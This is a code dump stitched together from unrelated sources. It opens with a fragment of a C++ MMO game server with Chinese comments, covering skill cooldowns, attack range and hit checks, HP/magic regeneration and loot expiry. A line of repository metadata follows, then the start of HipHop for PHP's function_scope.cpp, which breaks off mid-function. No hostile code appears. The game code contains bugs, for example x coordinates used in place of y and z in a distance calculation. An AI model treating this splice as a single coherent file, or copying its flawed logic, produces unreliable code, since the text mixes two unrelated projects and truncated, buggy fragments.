_umap_recoveryMagic::iterator _Magic_it = Magic_it;
Magic_it++;
SessionMgr::Instance()->RecoveryHPDelete(_Magic_it->first);
}
}
}
//角色延时恢复血量，魔法值
void GameAttack::RoleRecoveryHPMagic(SessionMgr::SessionPointer smap, hf_double currentTime)
{
// SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
umap_recoveryHPMagic t_recoveryHPMagic = SessionMgr::Instance()->GetRecoveryHPMagic();
for(_umap_recoveryHPMagic::iterator HPMagic_it = t_recoveryHPMagic->begin(); HPMagic_it != t_recoveryHPMagic->end();)
{
if(HPMagic_it->second.Timep >= currentTime) //时间没到
{
HPMagic_it++;
continue;
}
Session* sess = &(*smap)[HPMagic_it->first];
if(sess == NULL) //玩家退出游戏
{
_umap_recoveryHPMagic::iterator _HPMagic_it = HPMagic_it;
HPMagic_it++;
SessionMgr::Instance()->RecoveryHPDelete(_HPMagic_it->first);
continue;
}
STR_RoleInfo* t_roleInfo = &(*smap)[HPMagic_it->first].m_roleInfo;
if(t_roleInfo->HP == 0) //玩家已经死亡
{
_umap_recoveryHPMagic::iterator _HPMagic_it = HPMagic_it;
HPMagic_it++;
SessionMgr::Instance()->RecoveryHPDelete(_HPMagic_it->first);
continue;
}
if(t_roleInfo->HP == t_roleInfo->MaxHP && t_roleInfo->Magic == t_roleInfo->MaxMagic) //血量和魔法值都是满的，不可以使用
{
HPMagic_it->second.Count -= 1;
if(HPMagic_it->second.Count >= 1)
{
HPMagic_it->second.Timep = currentTime + 1;
HPMagic_it++;
}
else
{
_umap_recoveryHPMagic::iterator _HPMagic_it = HPMagic_it;
HPMagic_it++;
SessionMgr::Instance()->RecoveryHPDelete(_HPMagic_it->first);
}
continue;
}
if(t_roleInfo->HP < t_roleInfo->MaxHP) //血量不满
{
if(t_roleInfo->HP + HPMagic_it->second.HP < t_roleInfo->MaxHP)
t_roleInfo->HP += HPMagic_it->second.HP;
else
t_roleInfo->HP = t_roleInfo->MaxHP;
}
if(t_roleInfo->Magic < t_roleInfo->MaxMagic) //魔法值不满
{
if(t_roleInfo->Magic + HPMagic_it->second.Magic < t_roleInfo->MaxMagic)
t_roleInfo->Magic += HPMagic_it->second.Magic;
else
t_roleInfo->Magic = t_roleInfo->MaxMagic;
}
hf_uint32 roleid = (*smap)[HPMagic_it->first].m_roleid;
STR_RoleAttribute t_roleAttr(roleid, t_roleInfo->HP, t_roleInfo->Magic);
HPMagic_it->first->Write_all(&t_roleAttr, sizeof(STR_RoleAttribute));
sess->SendHPToViewRole(&t_roleAttr);
HPMagic_it->second.Count -= 1;
if(HPMagic_it->second.Count >= 1)
{
HPMagic_it->second.Timep = currentTime + 1;
HPMagic_it++;
}
else
{
_umap_recoveryHPMagic::iterator _HPMagic_it = HPMagic_it;
HPMagic_it++;
SessionMgr::Instance()->RecoveryHPDelete(_HPMagic_it->first);
}
}
}
//查询所有技能信息
void GameAttack::QuerySkillInfo()
{
DiskDBManager *db = Server::GetInstance()->getDiskDB();
if ( db->GetSkillInfo(m_skillInfo) < 0 )
{
Logger::GetLogger()->Error("Query TaskDialogue error");
return;
}
}
//发送玩家可以使用的技能
void GameAttack::SendPlayerSkill(TCPConnection::Pointer conn)
{
Server* srv = Server::GetInstance();
hf_char* buff = (hf_char*)srv->malloc();
STR_PlayerSkill t_skill;
STR_PackHead t_packHead;
hf_uint32 i = 0;
for(umap_skillInfo::iterator it = m_skillInfo->begin(); it != m_skillInfo->end(); it++)
{
t_skill.SkillID = it->second.SkillID;
t_skill.CoolTime = it->second.CoolTime;
t_skill.CastingTime = it->second.CastingTime;
t_skill.LeadTime = it->second.LeadTime;
memcpy(buff + sizeof(STR_PackHead) + sizeof(STR_PlayerSkill)*i, &t_skill, sizeof(STR_PlayerSkill));
i++;
}
if(i != 0)
{
t_packHead.Len = sizeof(STR_PlayerSkill) * i;
t_packHead.Flag = FLAG_CanUsedSkill;
memcpy(buff, &t_packHead, sizeof(STR_PackHead));
conn->Write_all(buff, t_packHead.Len + sizeof(STR_PackHead));
}
srv->free(buff);
}
//判断技能是否过了冷却时间
hf_uint8 GameAttack::SkillCoolTime(TCPConnection::Pointer conn, hf_double timep, hf_uint32 skillID)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
hf_double t_skillUseTime = (*smap)[conn].m_skillUseTime;
umap_skillTime t_skillTime = (*smap)[conn].m_skillTime;
_umap_skillTime::iterator iter = t_skillTime->find(skillID);
if(iter != t_skillTime->end()) //这个技能使用过
{
if(t_skillUseTime > timep || (*smap)[conn].m_publicCoolTime > timep || iter->second > timep)
return 0;
}
else
{
if(t_skillUseTime > timep || (*smap)[conn].m_publicCoolTime > timep)//没过技能冷却时间或没过公共冷却时间
return 0;
}
return 1;
}
//以自己为圆心
void GameAttack::AimItselfCircle(TCPConnection::Pointer conn, STR_PackSkillInfo* skillInfo, hf_double timep)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
Server* srv = Server::GetInstance();
// umap_monsterBasicInfo t_viewMonster = (*smap)[conn].m_viewMonster;
// //取攻击者角色的属性信息
// STR_RoleInfo* t_AttacketInfo = &((*smap)[conn].m_roleInfo);
// umap_monsterAttackInfo* t_monsterAttack = srv->GetMonster()->GetMonsterAttack();
// STR_PackPlayerPosition* t_pos = &(*smap)[conn].m_position;
// STR_PackSkillResult t_skillResult;
// STR_PackDamageData t_damageData;
// (*smap)[conn].m_publicCoolTime = timep + PUBLIC_COOLTIME; //保存玩家使用技能的公共冷却时间
// (*smap)[conn].m_skillUseTime = timep + skillInfo->CoolTime + skillInfo->CastingTime; //保存技能的冷却时间
// t_skillResult.result = SKILL_SUCCESS;
// conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
// if(skillInfo->CastingTime > 0) //延时类技能
// {
// RoleAttackAim t_attackAim;
// t_attackAim.AimID = 0;
// t_attackAim.HurtTime = timep + skillInfo->CastingTime;
// t_attackAim.SkillID = skillInfo->SkillID;
// (*m_attackMonster)[(*smap)[conn].m_roleid] = t_attackAim;
// (*smap)[conn].m_skillUseTime = t_attackAim.HurtTime + skillInfo->CoolTime;
// return;
// }
// STR_PackSkillAimEffect t_skillEffect(t_damageData.AimID,skillInfo->SkillID,t_damageData.AttackID);
// conn->Write_all(&t_skillEffect, sizeof(STR_PackSkillAimEffect)); //发送施法效果
// for(_umap_monsterBasicInfo::iterator it = t_viewMonster->begin(); it != t_viewMonster->end(); it++)
// {
// STR_MonsterAttackInfo* t_monsterAttackInfo = &(*t_monsterAttack)[it->first];
// hf_float dx = it->second.Current_x - t_pos->Pos_x;
// hf_float dy = it->second.Current_y - t_pos->Pos_y;
// hf_float dz = it->second.Current_z - t_pos->Pos_z;
// if( (dx*dx + dy*dy + dz*dz) < skillInfo->NearlyDistance * skillInfo->NearlyDistance ||
// (dx*dx + dy*dy + dz*dz) > skillInfo->FarDistance * skillInfo->FarDistance) //不在攻击范围
// {
// t_skillResult.result = NOT_ATTACKVIEW;
// conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
// return;
// }
// if(skillInfo->CastingTime == 0)//无延时类技能
// {
// t_damageData.Damage = CalMonsterDamage(skillInfo, t_AttacketInfo, t_monsterAttackInfo, &t_damageData.TypeID);
// DamageDealWith(conn, &t_damageData, it->first); //发送计算伤害
// }
// }
}
//怪物为目标
void GameAttack::AimMonster(TCPConnection::Pointer conn, STR_PackSkillInfo* skillInfo, double timep, hf_uint32 AimID)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
STR_PackPlayerPosition* t_pos = &(*smap)[conn].m_position;
STR_PackSkillResult t_skillResult;
t_skillResult.SkillID = skillInfo->SkillID;
STR_PackDamageData t_damageData;
_umap_playerViewMonster::iterator it = (*smap)[conn].m_viewMonster->find(AimID); //查找可范围内是否有这个怪物
if(it != (*smap)[conn].m_viewMonster->end())
{
t_damageData.AimID = AimID;
t_damageData.AttackID = (*smap)[conn].m_roleid;
umap_monsterInfo u_monsterInfo = Server::GetInstance()->GetMonster()->GetMonsterBasic();
STR_MonsterInfo* t_monsterInfo = &(*u_monsterInfo)[AimID];
// hf_float dx = t_monsterInfo->monster.Current_x - t_pos->Pos_x;
// hf_float dy = t_monsterInfo->monster.Current_y - t_pos->Pos_y;
// hf_float dz = t_monsterInfo->monster.Current_z - t_pos->Pos_z;
STR_PosDis t_posDis;
hf_uint8 res = Server::GetInstance()->GetMonster()->JudgeSkillDisAndDirect(t_pos, t_monsterInfo, timep, &t_posDis, skillInfo);
// return;
//判断是否在攻击范围内
if(res == 1)
{
t_skillResult.result = NOT_ATTACKVIEW;
conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
return;
}
else if(res == 2) //判断方向是否可攻击
{
t_skillResult.result = OPPOSITE_DIRECT;
conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
return;
}
// hf_float dis = sqrt(dx*dx + dy*dy + dz*dz);
// if( dis < skillInfo->NearlyDistance || dis > skillInfo->FarDistance) //不在攻击范围
// {
// t_skillResult.result = NOT_ATTACKVIEW;
// conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
// return;
// }
// if(dx*cos(t_pos->Direct) + dz*sin(t_pos->Direct) < 0) //不在攻击角度
// {
// t_skillResult.result = OPPOSITE_DIRECT;
// conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
// return;
// }
(*smap)[conn].m_publicCoolTime = timep + PUBLIC_COOLTIME; //保存玩家使用技能的公共冷却时间
(*smap)[conn].m_skillUseTime = timep + skillInfo->CoolTime + skillInfo->CastingTime; //保存技能的冷却时间
//取攻击者角色的属性信息
STR_RoleInfo* t_AttacketInfo = &((*smap)[conn].m_roleInfo);
umap_monsterAttackInfo* t_monsterAttack = Server::GetInstance()->GetMonster()->GetMonsterAttack();
STR_MonsterAttackInfo* t_monsterAttackInfo = &(*t_monsterAttack)[t_monsterInfo->monster.MonsterTypeID];
if(skillInfo->CastingTime == 0)//无延时类技能
{
hf_float t_probHit = t_AttacketInfo->Hit_Rate*1;
if(t_monsterInfo->monsterStatus) //怪物处于返回中
t_probHit = 0;
if(t_probHit*100 < rand()%100) //未命中
{
t_damageData.TypeID = PhyAttackSkillID;
t_damageData.Flag = NOT_HIT;
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
return;
}
t_skillResult.result = SKILL_SUCCESS;
conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
t_damageData.Damage = CalMonsterDamage(t_monsterInfo->monster.Level, skillInfo, t_AttacketInfo, t_monsterAttackInfo, &t_damageData.TypeID);
if(t_AttacketInfo->Crit_Rate*100 >= rand()%100)//暴击
{
t_damageData.Flag = CRIT_HIT;
t_damageData.Damage *= 1.5;
}
else //未暴击
{
t_damageData.Flag = HIT;
}
cout << "damage:" << t_damageData.Damage << endl;
STR_PackSkillAimEffect t_skillEffect(t_damageData.AimID,skillInfo->SkillID,t_damageData.AttackID);
conn->Write_all(&t_skillEffect, sizeof(STR_PackSkillAimEffect)); //发送施法效果
Server::GetInstance()->GetMonster()->SendSkillEffectToMonsterViewRole(&t_skillEffect);
// STR_PosDis posDis(dis, 0 - dx, 0 - dz);
DamageDealWith(conn, &t_damageData, t_monsterInfo, &t_posDis); //发送计算伤害
}
else //延时类技能
{
RoleAttackAim t_attackAim;
t_attackAim.AimID = AimID;
t_attackAim.HurtTime = (hf_uint32)timep + skillInfo->CastingTime;
t_attackAim.SkillID = skillInfo->SkillID;
(*m_attackMonster)[(*smap)[conn].m_roleid] = t_attackAim;
(*smap)[conn].m_skillUseTime = t_attackAim.HurtTime + skillInfo->CoolTime;
}
}
}
void GameAttack::AimRole(TCPConnection::Pointer conn, STR_PackSkillInfo* skillInfo, hf_double timep, hf_uint32 AimID)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
umap_roleSock t_viewRole = (*smap)[conn].m_viewRole;
_umap_roleSock::iterator it = t_viewRole->find(AimID);
if(it == t_viewRole->end()) //不在可视范围
{
return;
}
STR_RoleInfo* t_AimInfo = &((*smap)[it->second].m_roleInfo);
if(t_AimInfo->HP == 0)
{
return;
}
STR_RoleInfo* t_AttacketInfo = &((*smap)[conn].m_roleInfo);
STR_PackDamageData t_damageData;
t_damageData.AimID = AimID;
t_damageData.AttackID = (*smap)[conn].m_roleid;
STR_PackSkillResult t_skillResult;
t_skillResult.SkillID = skillInfo->SkillID;
STR_PackPlayerPosition* t_AttacketPos = &(*smap)[conn].m_position;
STR_PackPlayerPosition* t_AimPos = &(*smap)[it->second].m_position;
hf_float dx = t_AimPos->Pos_x - t_AttacketPos->Pos_x;
hf_float dy = t_AimPos->Pos_y - t_AttacketPos->Pos_y;
hf_float dz = t_AimPos->Pos_z - t_AttacketPos->Pos_z;
//判断是否在攻击范围内
if(dx*dx + dy*dy + dz*dz > PlayerAttackView*PlayerAttackView)
{
t_skillResult.result = NOT_ATTACKVIEW;
conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
return;
}
//判断方向是否可攻击
if(dx*cos(t_AttacketPos->Direct) + dz*sin(t_AttacketPos->Direct) < 0)
{
t_skillResult.result = OPPOSITE_DIRECT;
conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
return;
}
(*smap)[conn].m_publicCoolTime = timep + PUBLIC_COOLTIME; //保存玩家使用技能的公共冷却时间
(*smap)[conn].m_skillUseTime = timep + skillInfo->CoolTime + skillInfo->CastingTime; //保存技能的冷却时间
if(skillInfo->CastingTime == 0)//无延时类技能
{
hf_float t_probHit = t_AttacketInfo->Hit_Rate*1;
if(t_probHit*100 < rand()%100) //未命中
{
t_damageData.TypeID = PhyAttackSkillID;
t_damageData.Flag = NOT_HIT;
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
return;
}
if(t_AimInfo->Dodge_Rate*100 >= rand()%100) //闪避
{
t_damageData.TypeID = PhyAttackSkillID;
t_damageData.Flag = Dodge;
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
it->second->Write_all(&t_damageData, sizeof(STR_PackDamageData));
return;
}
t_skillResult.result = SKILL_SUCCESS;
conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
t_damageData.Damage = CalRoleDamage((*smap)[it->second].m_roleExp.Level, skillInfo, t_AttacketInfo, t_AimInfo, &t_damageData.TypeID);
if(t_AttacketInfo->Crit_Rate*100 >= rand()%100)//暴击
{
t_damageData.Flag = CRIT_HIT;
t_damageData.Damage *= 1.5;
}
else //未暴击
{
t_damageData.Flag = HIT;
}
if(t_AimInfo->Resist_Rate*100 >= rand()%100) //抵挡
{
t_damageData.Flag = RESIST;
}
cout << "damage:" << t_damageData.Damage << endl;
STR_PackSkillAimEffect t_skillEffect(t_damageData.AimID,skillInfo->SkillID,t_damageData.AttackID);
Logger::GetLogger()->Debug("aimdid:%u,roleid:%u,skillid:%u",t_skillEffect.AimID,t_skillEffect.RoleID,t_skillEffect.SkillID);
it->second->Write_all(&t_skillEffect, sizeof(STR_PackSkillAimEffect)); //发送施法效果
((*smap)[it->second]).SendSkillEffectToViewRole(&t_skillEffect);
conn->Write_all(&t_damageData, sizeof(STR_PackDamageData));
it->second->Write_all(&t_damageData, sizeof(STR_PackDamageData));
//发送玩家血量
if(t_AimInfo->HP > t_damageData.Damage)
{
t_AimInfo->HP -= t_damageData.Damage;
}
else
{
t_AimInfo->HP = 0;
}
//给被攻击者可视范围内的玩家发送血量信息
hf_uint32 roleid = (*smap)[it->second].m_roleid;
STR_RoleAttribute t_roleAttr(roleid, t_AimInfo->HP);
printf("RoleID:%d,HP%d \n",t_roleAttr.RoleID,t_roleAttr.HP);
it->second->Write_all(&t_roleAttr, sizeof(STR_RoleAttribute));
((*smap)[it->second]).SendHPToViewRole(&t_roleAttr);
}
else //延时类技能
{
// RoleAttackAim t_attackAim;
// t_attackAim.AimID = AimID;
// t_attackAim.HurtTime = (hf_uint32)timep + skillInfo->CastingTime;
// t_attackAim.SkillID = skillInfo->SkillID;
// (*m_attackMonster)[(*smap)[conn].m_roleid] = t_attackAim;
// (*smap)[conn].m_skillUseTime = t_attackAim.HurtTime + skillInfo->CoolTime;
}
}
//怪物为圆心
void GameAttack::AimMonsterCircle(TCPConnection::Pointer conn, STR_PackSkillInfo* skillInfo, double timep, hf_uint32 AimID)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
umap_playerViewMonster t_viewMonster = (*smap)[conn].m_viewMonster;
STR_PackPlayerPosition* t_pos = &(*smap)[conn].m_position;
STR_PackSkillResult t_skillResult;
STR_PackDamageData t_damageData;
_umap_playerViewMonster::iterator it = t_viewMonster->find(AimID); //查找可范围内是否有这个怪物
if(it != (*smap)[conn].m_viewMonster->end())
{
umap_monsterInfo u_monsterInfo = Server::GetInstance()->GetMonster()->GetMonsterBasic();
STR_MonsterInfo* t_monsterInfo = &(*u_monsterInfo)[AimID];
hf_float dx = t_monsterInfo->monster.Current_x - t_pos->Pos_x;
hf_float dy = t_monsterInfo->monster.Current_y - t_pos->Pos_y;
hf_float dz = t_monsterInfo->monster.Current_z - t_pos->Pos_z;
if( (dx*dx + dy*dy + dz*dz) < skillInfo->NearlyDistance * skillInfo->NearlyDistance ||
(dx*dx + dy*dy + dz*dz) > skillInfo->FarDistance * skillInfo->FarDistance) //不在攻击范围
{
t_skillResult.result = NOT_ATTACKVIEW;
conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
return;
}
if(dx*cos(t_pos->Direct) + dz*sin(t_pos->Direct) < 0) //不在攻击角度
{
t_skillResult.result = OPPOSITE_DIRECT;
conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult));
return;
}
(*smap)[conn].m_publicCoolTime = timep + PUBLIC_COOLTIME; //保存玩家使用技能的公共冷却时间
(*smap)[conn].m_skillUseTime = timep + skillInfo->CoolTime + skillInfo->CastingTime; //保存技能的冷却时间
t_skillResult.result = SKILL_SUCCESS;
conn->Write_all(&t_skillResult, sizeof(STR_PackSkillResult)); //发送施法结果
// //取攻击者角色的属性信息
STR_RoleInfo* t_roleInfo = &((*smap)[conn].m_roleInfo);
umap_monsterAttackInfo* t_monsterAttack = Server::GetInstance()->GetMonster()->GetMonsterAttack();
if(skillInfo->CastingTime > 0)
{
RoleAttackAim t_attackAim;
t_attackAim.AimID = AimID;
t_attackAim.HurtTime = timep + skillInfo->CastingTime;
t_attackAim.SkillID = skillInfo->SkillID;
(*m_attackMonster)[(*smap)[conn].m_roleid] = t_attackAim;
(*smap)[conn].m_skillUseTime = t_attackAim.HurtTime + skillInfo->CoolTime;
return;
}
STR_PackSkillAimEffect t_skillEffect(t_damageData.AimID,skillInfo->SkillID,t_damageData.AttackID);
// conn->Write_all(&t_skillEffect, sizeof(STR_PackSkillAimEffect)); //发送施法效果
Server::GetInstance()->GetMonster()->SendSkillEffectToMonsterViewRole(&t_skillEffect);
for(_umap_playerViewMonster::iterator iter = t_viewMonster->begin(); iter != t_viewMonster->end(); iter++)
{
if(iter->first == t_monsterInfo->monster.MonsterID)
{
continue;
}
STR_MonsterInfo* t_monster = &(*u_monsterInfo)[iter->first];
STR_MonsterAttackInfo* t_monsterAttackInfo = &(*t_monsterAttack)[t_monster->monster.MonsterTypeID];
hf_float dx = t_monsterInfo->monster.Current_x - t_monster->monster.Current_x;
hf_float dy = t_monsterInfo->monster.Current_y - t_monster->monster.Current_x;
hf_float dz = t_monsterInfo->monster.Current_z - t_monster->monster.Current_x;
hf_float dis = sqrt(dx*dx + dy*dy + dz*dz);
if(dis >= skillInfo->NearlyDistance && dis <= skillInfo->FarDistance)
{
t_damageData.Damage = CalMonsterDamage(t_monsterInfo->monster.Level, skillInfo, t_roleInfo, t_monsterAttackInfo, &t_damageData.TypeID);
STR_PosDis posDis(dis, 0 - dx, 0 - dz);
DamageDealWith(conn, &t_damageData, t_monster, &posDis); //发送计算伤害
}
}
}
}
//清除超过时间的掉落物品
void GameAttack::DeleteOverTimeGoods()
{
time_t t_time;
time(&t_time);
hf_uint32 timep = (hf_uint32)t_time;
LootGoodsOverTime t_loot;
while(1)
{
SessionMgr::SessionPointer smap = SessionMgr::Instance()->GetSession();
for(SessionMgr::SessionMap::iterator it = smap->begin(); it != smap->end(); it++)
{
umap_lootPosition t_lootPosition = it->second.m_lootPosition;
umap_lootGoods t_lootGoods = it->second.m_lootGoods;
for(_umap_lootPosition::iterator pos_it = t_lootPosition->begin(); pos_it != t_lootPosition->end();)
{
if(timep >= pos_it->second.timep + pos_it->second.continueTime)
{
t_loot.loot = pos_it->first;
it->first->Write_all(&t_loot, sizeof(LootGoodsOverTime));
_umap_lootGoods::iterator goods_it = t_lootGoods->find(pos_it->first);
if(goods_it != t_lootGoods->end())
{
t_lootGoods->erase(goods_it);
}
_umap_lootPosition::iterator _pos_it = pos_it;
pos_it++;
t_lootPosition->erase(_pos_it);
}
else
{
pos_it++;
continue;
}
}
}
sleep(1);
timep++;
}
}
| 39.347738 | 185 | 0.615111 | ycsoft |
4dfda45d0eea8183289d885ea78bfd89a0cc3ee4 | 30,300 | cpp | C++ | src/lib/analysis/function_scope.cpp | paramah/hiphop-php-osx | 5ed8c24abe8ad9fd7bc6dd4c28b4ffff23e54362 | [
"PHP-3.01",
"Zend-2.0"
] | 1 | 2015-11-05T21:45:07.000Z | 2015-11-05T21:45:07.000Z | src/lib/analysis/function_scope.cpp | brion/hiphop-php | df70a236e6418d533ac474be0c01f0ba87034d7f | [
"PHP-3.01",
"Zend-2.0"
] | null | null | null | src/lib/analysis/function_scope.cpp | brion/hiphop-php | df70a236e6418d533ac474be0c01f0ba87034d7f | [
"PHP-3.01",
"Zend-2.0"
] | null | null | null | /*
+----------------------------------------------------------------------+
| HipHop for PHP |
+----------------------------------------------------------------------+
| Copyright (c) 2010 Facebook, Inc. (http://www.facebook.com) |
+----------------------------------------------------------------------+
| This source file is subject to version 3.01 of the PHP license, |
| that is bundled with this package in the file LICENSE, and is |
| available through the world-wide-web at the following url: |
| http://www.php.net/license/3_01.txt |
| If you did not receive a copy of the PHP license and are unable to |
| obtain it through the world-wide-web, please send a note to |
| license@php.net so we can mail you a copy immediately. |
+----------------------------------------------------------------------+
*/
#include <lib/analysis/function_scope.h>
#include <lib/analysis/analysis_result.h>
#include <lib/expression/modifier_expression.h>
#include <lib/expression/expression_list.h>
#include <lib/analysis/code_error.h>
#include <lib/statement/statement_list.h>
#include <lib/analysis/file_scope.h>
#include <lib/analysis/variable_table.h>
#include <util/logger.h>
#include <lib/option.h>
#include <lib/statement/method_statement.h>
#include <lib/statement/exp_statement.h>
#include <lib/expression/parameter_expression.h>
#include <lib/analysis/class_scope.h>
#include <util/util.h>
#include <cpp/base/class_info.h>
#include <lib/parser/hphp.tab.hpp>
using namespace HPHP;
using namespace std;
using namespace boost;
///////////////////////////////////////////////////////////////////////////////
FunctionScope::FunctionScope(AnalysisResultPtr ar, bool method,
const std::string &name, StatementPtr stmt,
bool reference, int minParam, int maxParam,
ModifierExpressionPtr modifiers,
int attribute, FileScopePtr file,
bool inPseudoMain /* = false */)
: BlockScope(name, stmt, BlockScope::FunctionScope),
m_method(method), m_file(file), m_minParam(0), m_maxParam(0),
m_attribute(attribute), m_refReturn(reference), m_modifiers(modifiers),
m_virtual(false), m_overriding(false), m_redeclaring(-1),
m_volatile(false), m_ignored(false), m_pseudoMain(inPseudoMain),
m_magicMethod(false), m_system(false), m_inlineable(false),
m_containsThis(false), m_callTempCountMax(0), m_callTempCountCurrent(0) {
bool canInline = true;
if (inPseudoMain) {
canInline = false;
m_variables->forceVariants(ar);
setReturnType(ar, Type::Variant);
}
setParamCounts(minParam, maxParam);
if (m_refReturn) {
m_returnType = Type::Variant;
}
// FileScope's flags are from parser, but VariableTable has more flags
// coming from type inference phase. So we are tranferring these two
// flags just for better modularization between FileScope and VariableTable.
if (m_attribute & FileScope::ContainsDynamicVariable) {
m_variables->setAttribute(VariableTable::ContainsDynamicVariable);
}
if (m_attribute & FileScope::ContainsLDynamicVariable) {
m_variables->setAttribute(VariableTable::ContainsLDynamicVariable);
}
if (m_attribute & FileScope::ContainsExtract) {
m_variables->setAttribute(VariableTable::ContainsExtract);
}
if (m_attribute & FileScope::ContainsCompact) {
m_variables->setAttribute(VariableTable::ContainsCompact);
}
if (m_attribute & FileScope::ContainsUnset) {
m_variables->setAttribute(VariableTable::ContainsUnset);
}
if (m_attribute & FileScope::ContainsGetDefinedVars) {
m_variables->setAttribute(VariableTable::ContainsGetDefinedVars);
}
if (m_stmt && Option::AllVolatile) {
m_volatile = true;
}
m_dynamic = Option::isDynamicFunction(method, m_name) ||
Option::EnableEval == Option::FullEval;
if (modifiers) {
m_virtual = modifiers->isAbstract();
}
if (m_stmt) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
StatementListPtr stmts = stmt->getStmts();
if (stmts) {
if (stmts->getRecursiveCount() > Option::InlineFunctionThreshold)
canInline = false;
for (int i = 0; i < stmts->getCount(); i++) {
StatementPtr stmt = (*stmts)[i];
stmt->setFileLevel();
if (stmt->is(Statement::KindOfExpStatement)) {
ExpStatementPtr expStmt = dynamic_pointer_cast<ExpStatement>(stmt);
ExpressionPtr exp = expStmt->getExpression();
exp->setTopLevel();
}
}
}
} else {
canInline = false;
}
m_inlineable = canInline;
}
FunctionScope::FunctionScope(bool method, const std::string &name,
bool reference)
: BlockScope(name, StatementPtr(), BlockScope::FunctionScope),
m_method(method), m_minParam(0), m_maxParam(0),
m_attribute(0), m_refReturn(reference),
m_modifiers(ModifierExpressionPtr()),
m_virtual(false), m_overriding(false), m_redeclaring(-1),
m_volatile(false), m_ignored(false),
m_pseudoMain(false), m_magicMethod(false), m_system(true),
m_inlineable(false), m_callTempCountMax(0), m_callTempCountCurrent(0) {
m_dynamic = Option::isDynamicFunction(method, m_name);
}
void FunctionScope::setParamCounts(int minParam, int maxParam) {
m_minParam = minParam;
m_maxParam = maxParam;
ASSERT(m_minParam >= 0 && m_maxParam >= m_minParam);
if (m_maxParam > 0) {
m_paramNames.resize(m_maxParam);
m_paramTypes.resize(m_maxParam);
m_refs.resize(m_maxParam);
if (m_stmt) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
ExpressionListPtr params = stmt->getParams();
for (int i = 0; i < m_maxParam; i++) {
if (stmt->isRef(i)) m_refs[i] = true;
ParameterExpressionPtr param =
dynamic_pointer_cast<ParameterExpression>((*params)[i]);
m_paramNames[i] = param->getName();
}
}
}
}
bool FunctionScope::isPublic() const {
return m_modifiers && m_modifiers->isPublic();
}
bool FunctionScope::isProtected() const {
return m_modifiers && m_modifiers->isProtected();
}
bool FunctionScope::isPrivate() const {
return m_modifiers && m_modifiers->isPrivate();
}
bool FunctionScope::isStatic() const {
return m_modifiers && m_modifiers->isStatic();
}
bool FunctionScope::isAbstract() const {
return m_modifiers && m_modifiers->isAbstract();
}
bool FunctionScope::isFinal() const {
return m_modifiers && m_modifiers->isFinal();
}
bool FunctionScope::isVariableArgument() const {
return m_attribute & FileScope::VariableArgument;
}
bool FunctionScope::isReferenceVariableArgument() const {
return m_attribute & FileScope::ReferenceVariableArgument;
}
void FunctionScope::setVariableArgument(bool reference) {
m_attribute |= FileScope::VariableArgument;
if (reference) {
m_attribute |= FileScope::ReferenceVariableArgument;
}
}
bool FunctionScope::hasEffect() const {
return (m_attribute & FileScope::NoEffect) == 0;
}
void FunctionScope::setNoEffect() {
m_attribute |= FileScope::NoEffect;
}
bool FunctionScope::isHelperFunction() const {
return m_attribute & FileScope::HelperFunction;
}
void FunctionScope::setHelperFunction() {
m_attribute |= FileScope::HelperFunction;
}
bool FunctionScope::containsReference() const {
return m_attribute & FileScope::ContainsReference;
}
bool FunctionScope::hasImpl() const {
if (!isUserFunction()) {
return !isAbstract();
}
if (m_stmt) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
return stmt->getStmts();
}
return false;
}
bool FunctionScope::isConstructor(ClassScopePtr cls) const {
return m_stmt && cls
&& (getName() == "__construct"
|| cls->classNameCtor() && getName() == cls->getName());
}
std::string FunctionScope::getOriginalName() const {
if (m_pseudoMain) return "";
if (m_stmt) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
return stmt->getOriginalName();
}
return m_name;
}
std::string FunctionScope::getFullName() const {
if (m_stmt) {
MethodStatementPtr stmt = dynamic_pointer_cast<MethodStatement>(m_stmt);
return stmt->getFullName();
}
return m_name;
}
///////////////////////////////////////////////////////////////////////////////
int FunctionScope::inferParamTypes(AnalysisResultPtr ar, ConstructPtr exp,
ExpressionListPtr params, bool &valid) {
valid = true;
if (!params) {
if (m_minParam > 0) {
if (ar->isFirstPass()) {
ar->getCodeError()->record(CodeError::TooFewArgument, exp, m_stmt);
}
valid = false;
}
return 0;
}
int ret = 0;
if (params->getCount() < m_minParam) {
if (ar->isFirstPass()) {
ar->getCodeError()->record(CodeError::TooFewArgument, exp, m_stmt);
}
valid = false;
}
if (params->getCount() > m_maxParam) {
if (isVariableArgument()) {
ret = params->getCount() - m_maxParam;
} else {
if (ar->isFirstPass()) {
ar->getCodeError()->record(CodeError::TooManyArgument, exp, m_stmt);
}
params->setOutputCount(m_maxParam);
}
}
bool canSetParamType = isUserFunction() && !m_overriding;
for (int i = 0; i < params->getCount(); i++) {
ExpressionPtr param = (*params)[i];
param->clearContext(Expression::InvokeArgument);
TypePtr expType;
if (!canSetParamType && i < m_maxParam) {
expType = param->inferAndCheck(ar, getParamType(i), false);
} else {
expType = param->inferAndCheck(ar, NEW_TYPE(Some), false);
}
if ((i < m_maxParam && isRefParam(i)) ||
(i >= m_maxParam && isReferenceVariableArgument())) {
param->setContext(Expression::LValue);
param->setContext(Expression::RefValue);
